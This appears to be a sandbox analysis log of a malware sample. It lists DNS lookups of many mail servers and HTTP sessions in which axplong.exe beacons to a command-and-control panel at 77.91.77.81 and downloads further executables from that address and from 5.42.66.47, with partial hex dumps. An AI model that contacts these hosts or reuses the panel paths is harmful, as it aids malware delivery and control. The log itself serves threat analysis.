Jun 4, 2024 23:11:04.453162909 CEST	1.1.1.1	192.168.2.11	0x8aa6	No error (0)	us-smtp-inbound-2.mimecast.com		205.139.110.242	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.453162909 CEST	1.1.1.1	192.168.2.11	0x8aa6	No error (0)	us-smtp-inbound-2.mimecast.com		207.211.30.221	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.761993885 CEST	1.1.1.1	192.168.2.11	0x503e	No error (0)	securesmtp.coastmail.dk		93.191.156.89	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.977132082 CEST	1.1.1.1	192.168.2.11	0x6ed	No error (0)	mosaicprep.org		216.239.38.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.977132082 CEST	1.1.1.1	192.168.2.11	0x6ed	No error (0)	mosaicprep.org		216.239.34.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.977132082 CEST	1.1.1.1	192.168.2.11	0x6ed	No error (0)	mosaicprep.org		216.239.32.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:04.977132082 CEST	1.1.1.1	192.168.2.11	0x6ed	No error (0)	mosaicprep.org		216.239.36.21	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.220222950 CEST	1.1.1.1	192.168.2.11	0xf0c9	No error (0)	jakbuilding.net.au		202.124.241.178	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.238172054 CEST	1.1.1.1	192.168.2.11	0xce2d	Name error (3)	securesmtp.slape.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.247607946 CEST	1.1.1.1	192.168.2.11	0x3cce	No error (0)	mx-01-eu-central-1.prod.hydra.sophos.com		18.157.203.101	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.247607946 CEST	1.1.1.1	192.168.2.11	0x3cce	No error (0)	mx-01-eu-central-1.prod.hydra.sophos.com		18.195.127.105	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.288249016 CEST	1.1.1.1	192.168.2.11	0x4a62	Name error (3)	smtp.mtroyal.ca	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.409519911 CEST	1.1.1.1	192.168.2.11	0x103c	Name error (3)	mail.jpsaccountants.co.uk	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.499530077 CEST	1.1.1.1	192.168.2.11	0xd5ce	Name error (3)	jornalcanudos.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.518848896 CEST	1.1.1.1	192.168.2.11	0x26d4	No error (0)	mx1.ac-montpellier.fr		195.83.225.86	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.619405031 CEST	1.1.1.1	192.168.2.11	0xd005	No error (0)	mail.prioritywealth.com.sg		103.104.196.74	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.825875044 CEST	1.1.1.1	192.168.2.11	0xb82d	Name error (3)	securesmtp.clubinternet.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.887798071 CEST	1.1.1.1	192.168.2.11	0x6242	Name error (3)	securesmtp.sunnrgysystems.co.tz	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.924959898 CEST	1.1.1.1	192.168.2.11	0x34e6	Name error (3)	smtp.nationaliles.com.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.993807077 CEST	1.1.1.1	192.168.2.11	0xcc3c	No error (0)	labaton.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:05.993807077 CEST	1.1.1.1	192.168.2.11	0xcc3c	No error (0)	labaton.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	mail.skytv.it	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	FRA-efz.ms-acdc.office.com		40.99.155.226	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	FRA-efz.ms-acdc.office.com		40.99.149.178	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.020870924 CEST	1.1.1.1	192.168.2.11	0xe0d	No error (0)	FRA-efz.ms-acdc.office.com		52.97.189.98	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.045425892 CEST	1.1.1.1	192.168.2.11	0x9b5f	Name error (3)	123.comh	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.164477110 CEST	1.1.1.1	192.168.2.11	0x719	No error (0)	us2.mx2.mailhostbox.com		162.215.2.27	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.292881966 CEST	1.1.1.1	192.168.2.11	0x2172	Name error (3)	securesmtp.hotelvergiliusbillia.it	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.302252054 CEST	1.1.1.1	192.168.2.11	0x24b0	No error (0)	protemed.com.br		187.45.193.209	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.324800968 CEST	1.1.1.1	192.168.2.11	0x6182	Name error (3)	mail.fixmybadcreditscore.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.331522942 CEST	1.1.1.1	192.168.2.11	0x9216	No error (0)	plannerinfo.com.br		54.94.140.236	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.452279091 CEST	1.1.1.1	192.168.2.11	0xfd52	Name error (3)	mail.facadetreatment.com.my	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.580190897 CEST	1.1.1.1	192.168.2.11	0x61ce	Name error (3)	out.abc-clasificados.com.ar	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.604320049 CEST	1.1.1.1	192.168.2.11	0x57eb	No error (0)	out.ntl.world.com		204.74.99.100	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.634418964 CEST	1.1.1.1	192.168.2.11	0xf33d	Server failure (2)	out.mayanet.com.tr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.634462118 CEST	1.1.1.1	192.168.2.11	0xf33d	Server failure (2)	out.mayanet.com.tr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.700452089 CEST	1.1.1.1	192.168.2.11	0x5db5	No error (0)	earthlink.net		104.18.208.148	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.700452089 CEST	1.1.1.1	192.168.2.11	0x5db5	No error (0)	earthlink.net		104.19.239.228	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.702313900 CEST	1.1.1.1	192.168.2.11	0x5f6f	Name error (3)	mail.francias.info	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.834872961 CEST	1.1.1.1	192.168.2.11	0xb777	Name error (3)	out.d7ca6544cf.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.897449017 CEST	1.1.1.1	192.168.2.11	0x77fb	No error (0)	pccoepune.com		103.83.194.110	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:06.979868889 CEST	1.1.1.1	192.168.2.11	0xd145	No error (0)	mail.firma-und-verein.de		193.0.187.105	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.007616043 CEST	1.1.1.1	192.168.2.11	0xdd91	Name error (3)	out.stauseetaucher.de	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.115936995 CEST	1.1.1.1	192.168.2.11	0x96ca	Name error (3)	secure.wmctech.com.br	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.135844946 CEST	1.1.1.1	192.168.2.11	0xf84f	No error (0)	smtp.kabelbw.de	smtp.kabelbw-de.vodafonemail.de		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:07.135844946 CEST	1.1.1.1	192.168.2.11	0xf84f	No error (0)	smtp.kabelbw-de.vodafonemail.de		2.207.150.234	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.240343094 CEST	1.1.1.1	192.168.2.11	0x1849	Name error (3)	smtp.ralindia.in	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.248893023 CEST	1.1.1.1	192.168.2.11	0x8afe	No error (0)	mail.arfp.asso.fr		54.37.103.186	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.504894972 CEST	1.1.1.1	192.168.2.11	0xe849	Name error (3)	secure.63b98cf6ec.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.684240103 CEST	1.1.1.1	192.168.2.11	0xc268	No error (0)	telia.com		81.236.63.162	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.710428953 CEST	1.1.1.1	192.168.2.11	0xe916	No error (0)	mail.bresnan.net		47.43.18.10	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:07.822050095 CEST	1.1.1.1	192.168.2.11	0xe16	Name error (3)	smtp.cangus.net	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.044543028 CEST	1.1.1.1	192.168.2.11	0xcf60	Name error (3)	securesmtp.mh-enterprise.co.jp	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.056555986 CEST	1.1.1.1	192.168.2.11	0xfe57	Name error (3)	smtp.akerouac.fr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.069454908 CEST	1.1.1.1	192.168.2.11	0xafce	No error (0)	mail1.hager.com		194.99.49.58	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.220367908 CEST	1.1.1.1	192.168.2.11	0xd639	No error (0)	smtp.meyerbroeker.de	smtprelaypool.ispgateway.de		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 23:11:08.220367908 CEST	1.1.1.1	192.168.2.11	0xd639	No error (0)	smtprelaypool.ispgateway.de		80.67.29.4	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.339068890 CEST	1.1.1.1	192.168.2.11	0xe0e5	Name error (3)	mail.153ec6e692.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.341150999 CEST	1.1.1.1	192.168.2.11	0xe062	Name error (3)	smtp.borntechies.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.523736000 CEST	1.1.1.1	192.168.2.11	0x44bf	Name error (3)	secure.iak.com.tr	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.598023891 CEST	1.1.1.1	192.168.2.11	0x7aed	Name error (3)	secure.headwest.asn.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:08.598077059 CEST	1.1.1.1	192.168.2.11	0x7aed	Name error (3)	secure.headwest.asn.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:09.404962063 CEST	1.1.1.1	192.168.2.11	0xac8d	No error (0)	smtp.intercomm.co.jp		216.230.252.25	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:09.404980898 CEST	1.1.1.1	192.168.2.11	0xac8d	No error (0)	smtp.intercomm.co.jp		216.230.252.25	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:10.160027027 CEST	1.1.1.1	192.168.2.11	0x8a7	Server failure (2)	mail.edumail.voc.gov.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:10.160042048 CEST	1.1.1.1	192.168.2.11	0x8a7	Server failure (2)	mail.edumail.voc.gov.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:10.160051107 CEST	1.1.1.1	192.168.2.11	0x8a7	Server failure (2)	mail.edumail.voc.gov.au	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 23:11:10.160197020 CEST	1.1.1.1	192.168.2.11	0x8a7	Server failure (2)	mail.edumail.voc.gov.au	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49703	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:08:42.702745914 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:08:43.612456083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:08:43.614726067 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:08:43.922986031 CEST	880	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 62 31 0d 0a 20 3c 63 3e 31 30 30 30 30 30 32 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 62 65 62 35 36 35 38 65 61 39 62 35 62 36 37 65 62 38 34 30 38 62 30 34 64 38 31 37 65 38 63 65 32 61 63 65 31 32 66 66 39 61 65 61 61 65 33 35 66 36 35 61 30 65 31 37 65 37 36 23 31 30 30 30 30 30 34 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 39 66 32 34 63 35 33 66 35 38 33 35 61 37 65 66 31 38 62 31 36 66 39 34 38 38 38 37 35 39 62 65 32 61 64 65 37 32 66 66 38 62 33 66 66 61 62 34 66 23 31 30 30 30 30 30 35 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 39 66 32 34 63 35 33 66 35 38 33 35 61 37 65 66 31 38 62 31 36 66 39 34 38 38 38 37 35 39 62 65 32 61 30 66 64 32 37 66 35 65 39 62 34 62 36 35 32 36 65 23 31 30 30 30 30 30 37 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 39 66 32 34 63 35 33 66 35 38 33 35 61 37 65 66 31 38 62 31 36 66 39 34 38 38 38 37 35 39 62 65 32 62 38 65 64 32 37 66 30 66 34 66 34 62 36 31 62 33 39 62 64 62 35 [TRUNCATED] Data Ascii: 2b1 <c>1000002001+++aa0ed36554e19fbbeb5658ea9b5b67eb8408b04d817e8ce2ace12ff9aeaae35f65a0e17e76#1000004001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2ade72ff8b3ffab4f#1000005001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2a0fd27f5e9b4b6526e#1000007001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2b8ed27f0f4f4b61b39bdb534203cda6696#1000008001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2bff827b2f8e2b6#1000009001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2a6fd2ef1fcabe11925ebfc63#1000012001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2a6fa37f4f4f0b25d6fa0e17e76#1000014001+++aa0ed36554e19fb9f24c53f5835a7ef18b16f94888759be2b9ed31eaf4f9b6593dbaaa636b77#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49704	5.42.66.47	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:08:43.932081938 CEST	55	OUT	GET /files/file300un.exe HTTP/1.1 Host: 5.42.66.47

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49710	5.42.66.47	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:08:52.965455055 CEST	55	OUT	GET /files/file300un.exe HTTP/1.1 Host: 5.42.66.47

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49711	5.42.66.47	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:02.021035910 CEST	55	OUT	GET /files/file300un.exe HTTP/1.1 Host: 5.42.66.47

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49712	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:11.046288013 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000002001&unit=246122658369
Jun 4, 2024 23:09:11.943929911 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:11.945257902 CEST	50	OUT	GET /lend/gold.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:12.223119020 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:12 GMT Content-Type: application/octet-stream Content-Length: 1264128 Last-Modified: Mon, 27 May 2024 02:09:50 GMT Connection: keep-alive ETag: "6653eb6e-134a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 91 3e de a3 d5 5f b0 f0 d5 5f b0 f0 d5 5f b0 f0 06 2d b3 f1 d9 5f b0 f0 06 2d b5 f1 79 5f b0 f0 06 2d b4 f1 c0 5f b0 f0 17 de b4 f1 c7 5f b0 f0 17 de b3 f1 c0 5f b0 f0 06 2d b1 f1 d0 5f b0 f0 d5 5f b1 f0 a9 5f b0 f0 17 de b5 f1 81 5f b0 f0 26 dd b5 f1 d4 5f b0 f0 26 dd b2 f1 d4 5f b0 f0 52 69 63 68 d5 5f b0 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 1f 93 53 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 98 0b 00 00 cc 07 00 00 00 00 00 0b 32 00 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$>___-_-y_-___-____&_&_Rich_PELSf'2@@<@8I~8(}@.text}~ `.bsSN `.rdataOP@@.data@.idatad@@.00cfg0@@.relocW@X@B
Jun 4, 2024 23:09:12.223151922 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 a9 16 06 00 e9 28 ae 01 00 e9 4c 44 01 00 e9 2a 0e 07 00 Data Ascii: (LD*"C#UWZX{ [EUS{jps>F2
Jun 4, 2024 23:09:12.223190069 CEST	1236	IN	Data Raw: e9 ab 03 02 00 e9 2f 8f 01 00 e9 fd ba 02 00 e9 51 a1 07 00 e9 dc 39 01 00 e9 67 53 01 00 e9 0c 92 01 00 e9 fd 8b 07 00 e9 44 2a 05 00 e9 5e c4 02 00 e9 33 d8 02 00 e9 99 f4 00 00 e9 16 8f 08 00 e9 0f e3 03 00 e9 2a 21 01 00 e9 10 14 06 00 e9 ec Data Ascii: /Q9gSD^3! ;UJ%Gh+fWcnI:@(0ByXsA
Jun 4, 2024 23:09:12.223210096 CEST	1236	IN	Data Raw: ce d7 02 00 e9 f8 32 01 00 e9 13 31 01 00 e9 62 a6 05 00 e9 69 50 01 00 e9 8f 29 03 00 e9 5f 14 01 00 e9 aa 23 01 00 e9 b6 26 08 00 e9 02 90 05 00 e9 d7 8d 05 00 e9 91 9d 03 00 e9 41 81 01 00 e9 bf 2b 06 00 e9 c3 b7 09 00 e9 21 c2 05 00 e9 da ab Data Ascii: 21biP)_#&A+!'Z2P";u*R5PaGFfSj\|0ijUk/)=D4tecC5
Jun 4, 2024 23:09:12.223243952 CEST	1236	IN	Data Raw: b4 01 00 e9 cb 46 06 00 e9 fc 57 03 00 e9 a2 c6 09 00 e9 38 a2 08 00 e9 68 32 08 00 e9 42 f3 06 00 e9 e4 c8 08 00 e9 42 4c 02 00 e9 17 36 04 00 e9 36 c6 09 00 e9 ee cd 04 00 e9 d5 c2 04 00 e9 72 4d 09 00 e9 c3 4d 05 00 e9 fc f1 06 00 e9 15 1a 06 Data Ascii: FW8h2BBL66rMMg&F\|.8Nt~k.&/eHV>O;T2JKf%/p5P1YQ*
Jun 4, 2024 23:09:12.223264933 CEST	636	IN	Data Raw: 05 00 e9 4b f2 09 00 e9 a2 e1 05 00 e9 16 65 07 00 e9 8f 63 05 00 e9 7a 3b 04 00 e9 cb cf 03 00 e9 64 ee 07 00 e9 f1 81 01 00 e9 7a e8 00 00 e9 32 b9 07 00 e9 fa ee 01 00 e9 ca c9 04 00 e9 4b 39 04 00 e9 97 ea 08 00 e9 92 45 06 00 e9 19 4c 06 00 Data Ascii: Kecz;dz2K9EL1M,!MlA 'Q\`aHX'=.6nM
Jun 4, 2024 23:09:12.223299026 CEST	1236	IN	Data Raw: 00 e9 80 e0 0a 00 e9 d9 1c 03 00 e9 ec cb 09 00 e9 d8 41 01 00 e9 b6 49 03 00 e9 b6 31 08 00 e9 03 d9 02 00 e9 ad 8f 03 00 e9 5f 96 01 00 e9 c0 9e 08 00 e9 e5 75 0b 00 e9 2b 8c 01 00 e9 7b e5 0a 00 e9 51 cc 02 00 e9 14 da 03 00 e9 0a 47 06 00 e9 Data Ascii: AI1_u+{QGr\wE5wmVn> ~b"VScBIOXw6-k(Rc*8}
Jun 4, 2024 23:09:12.223320961 CEST	212	IN	Data Raw: e9 01 21 0a 00 e9 ee 32 07 00 e9 02 9a 07 00 e9 2c dc 05 00 e9 d9 7b 06 00 e9 5b 6e 01 00 e9 27 1a 07 00 e9 51 2d 01 00 e9 5c 13 01 00 e9 50 24 07 00 e9 01 2f 04 00 e9 e1 8e 05 00 e9 55 ba 02 00 e9 42 c3 05 00 e9 1f 1b 07 00 e9 69 ca 02 00 e9 4c Data Ascii: !2,{[n'Q-\P$/UBiLXE?ff9Y3n~T!UxAyj<vF
Jun 4, 2024 23:09:12.223351955 CEST	1236	IN	Data Raw: a2 03 00 e9 6d e8 01 00 e9 58 e2 0a 00 e9 c9 41 06 00 e9 f2 9f 01 00 e9 52 2f 06 00 e9 d5 dd 06 00 e9 79 8e 0a 00 e9 62 f1 09 00 e9 2a d3 0a 00 e9 2e a5 01 00 e9 eb 0d 07 00 e9 e5 87 01 00 e9 55 82 01 00 e9 fc 30 01 00 e9 37 cf 0a 00 e9 7b 7a 0a Data Ascii: mXAR/yb.U07{z2Fo=GE[i=k f)Q!@]zWG
Jun 4, 2024 23:09:12.223373890 CEST	1236	IN	Data Raw: 04 00 e9 47 4e 03 00 e9 3d 8b 03 00 e9 db 20 07 00 e9 f2 d8 03 00 e9 a0 b7 03 00 e9 4f c5 0a 00 e9 1f 63 09 00 e9 b2 08 04 00 e9 a3 e3 01 00 e9 00 42 06 00 e9 59 5f 02 00 e9 63 66 01 00 e9 6b a0 01 00 e9 31 d0 07 00 e9 24 21 01 00 e9 55 8b 05 00 Data Ascii: GN= OcBY_cfk1$!Up8^zX*CoT!:KM(_a\|e'e2syV8y}
Jun 4, 2024 23:09:12.223397017 CEST	1236	IN	Data Raw: 00 e9 43 a3 0a 00 e9 dc 6b 06 00 e9 45 56 03 00 e9 ac bc 04 00 e9 b0 ce 02 00 e9 6a 9a 09 00 e9 8b ce 04 00 e9 e7 e4 01 00 e9 8d 74 01 00 e9 96 52 04 00 e9 19 4a 04 00 e9 73 d0 02 00 e9 c4 7c 01 00 e9 0d 28 07 00 e9 03 95 05 00 e9 ba 40 05 00 e9 Data Ascii: CkEVjtRJs\|(@&]xIO[O>;#9n263/5Acp.i{'&A-d7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49713	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:13.894773960 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Jun 4, 2024 23:09:14.806104898 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:14.829191923 CEST	51	OUT	GET /lend/judit.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:15.111059904 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:14 GMT Content-Type: application/octet-stream Content-Length: 11256832 Last-Modified: Tue, 04 Jun 2024 14:23:51 GMT Connection: keep-alive ETag: "665f2377-abc400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 c9 4f 58 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 29 00 ae 01 00 00 c0 ab 00 00 1e 01 00 f6 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 50 ad 00 00 04 00 00 98 fd 02 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 